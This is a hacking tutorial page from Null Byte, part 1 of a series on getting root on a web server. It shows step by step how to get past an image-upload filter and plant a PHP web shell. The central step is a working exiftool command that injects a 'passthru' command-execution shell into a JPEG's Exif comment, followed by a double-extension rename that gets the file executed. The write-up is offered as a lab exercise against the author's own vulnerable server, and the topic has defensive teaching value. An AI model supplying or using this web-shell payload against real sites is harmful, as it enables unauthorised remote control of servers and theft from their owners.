How to Upload a Shell to a Web Server and Get Root (RFI): Part 1 « Null Byte :: WonderHowTo

When we hack a web server, we usually want to be able to control it in order to download files or further exploit it. There aremanywebsites that let you upload files such as avatar pictures that don't take the proper security measures. In this series, I will be showing you how to gain root access to such a web server.For part 1, we will be trying to upload a PHP file that allows us to control the system.RequirementsWe are going to need Nmap for this part of the tutorial.Step 1: Scan the ServerFor this tutorial, I have setup a vulnerable server on my network. Let's scan it.Nmap found two open ports:80and22, so we know that the server has both HTTP and SSH services. At this point, wecoulduse Hydra to crack the root password on SSH, but that is not the point of this tutorial. Let's visit the webpage...Step 2: Upload AttemptLet's view the upload page...The form tells us that the file must be either a.jpeg, a.jpg, or a.pngfile. But, just in case, we'll try to upload a malicious PHP file.Darn it. It doesn't upload. But what if we add our malicious code to the Exif data of a picture file?Step 3: Backdooring an ImageIn order to upload our shell, we need to use a legitimate picture file. In order to get our code to run, we need to add the PHP code to the Exif data. Enter this command:exiftool -Comment="<?php passthru(\$_GET'cmd'); _halt_compiler();" /root/picture.jpegThe\$_GET'cmd');code is what reads our command, and the_halt_compiler();prevents the file-checking system from reading on with the binary data.Now PHP code that let's us run commands is backdoored into the comments. Rename the file topicture.php.jpegso that the website is forced to process the PHP code.Step 4: Trying AgainNow, let's upload our backdoored file.Yes! It worked! Now we can use commands to control it with our web browser.Look! We were able to get system info!Until Next Time...Now that we have control over the system, we will be looking for ways to upload our payload to the server next, and hopefully get an interactive shell.C|H of C3Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Exploit Remote File Inclusion to Get a ShellHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 2How To:Use SQL Injection to Run OS Commands & Get a ShellHow To:Exploit PHP File Inclusion in Web AppsHow To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)Hack Like a Pro:Using TFTP to Install Malicious Software on the TargetHow To:Use Command Injection to Pop a Reverse Shell on a Web ServerHow To:Perform Local Privilege Escalation Using a Linux Kernel ExploitHIOB:WebSite Hacking Series Part 2: Hacking WebSites Using The DotNetNuke VulnerabilityHow To:Get Root Filesystem Access via Samba Symlink TraversalHow To:Exploit Shellshock on a Web Server Using MetasploitHow To:Hack Metasploitable 2 Including Privilege EscalationHow To:Reverse Shell Using PythonHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+How To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Push and Pull Remote Files Securely Over SSH with PipesNews:Change from BASH to zshHow Null Byte Injections Work:A History of Our NamesakeCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsHow To:Safely Log In to Your SSH Account Without a PasswordHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingNews:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep WebNews:Rigging A Blue CrabLock Down Your Web Server:10 Easy Steps to Stop Hackers from AttackingDrive-By Hacking:How to Root a Windows Box by Walking Past ItHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:Create an SSH Tunnel Server and Client in LinuxNews:Beautiful Minecraft Timelapse of a Giant Train StationNews:Give Someone the Minecart Ride of Their Life in This Saturday's Minecraft WorkshopCommunity Byte:HackThisSite, Realistic 3 - Real Hacking Simulations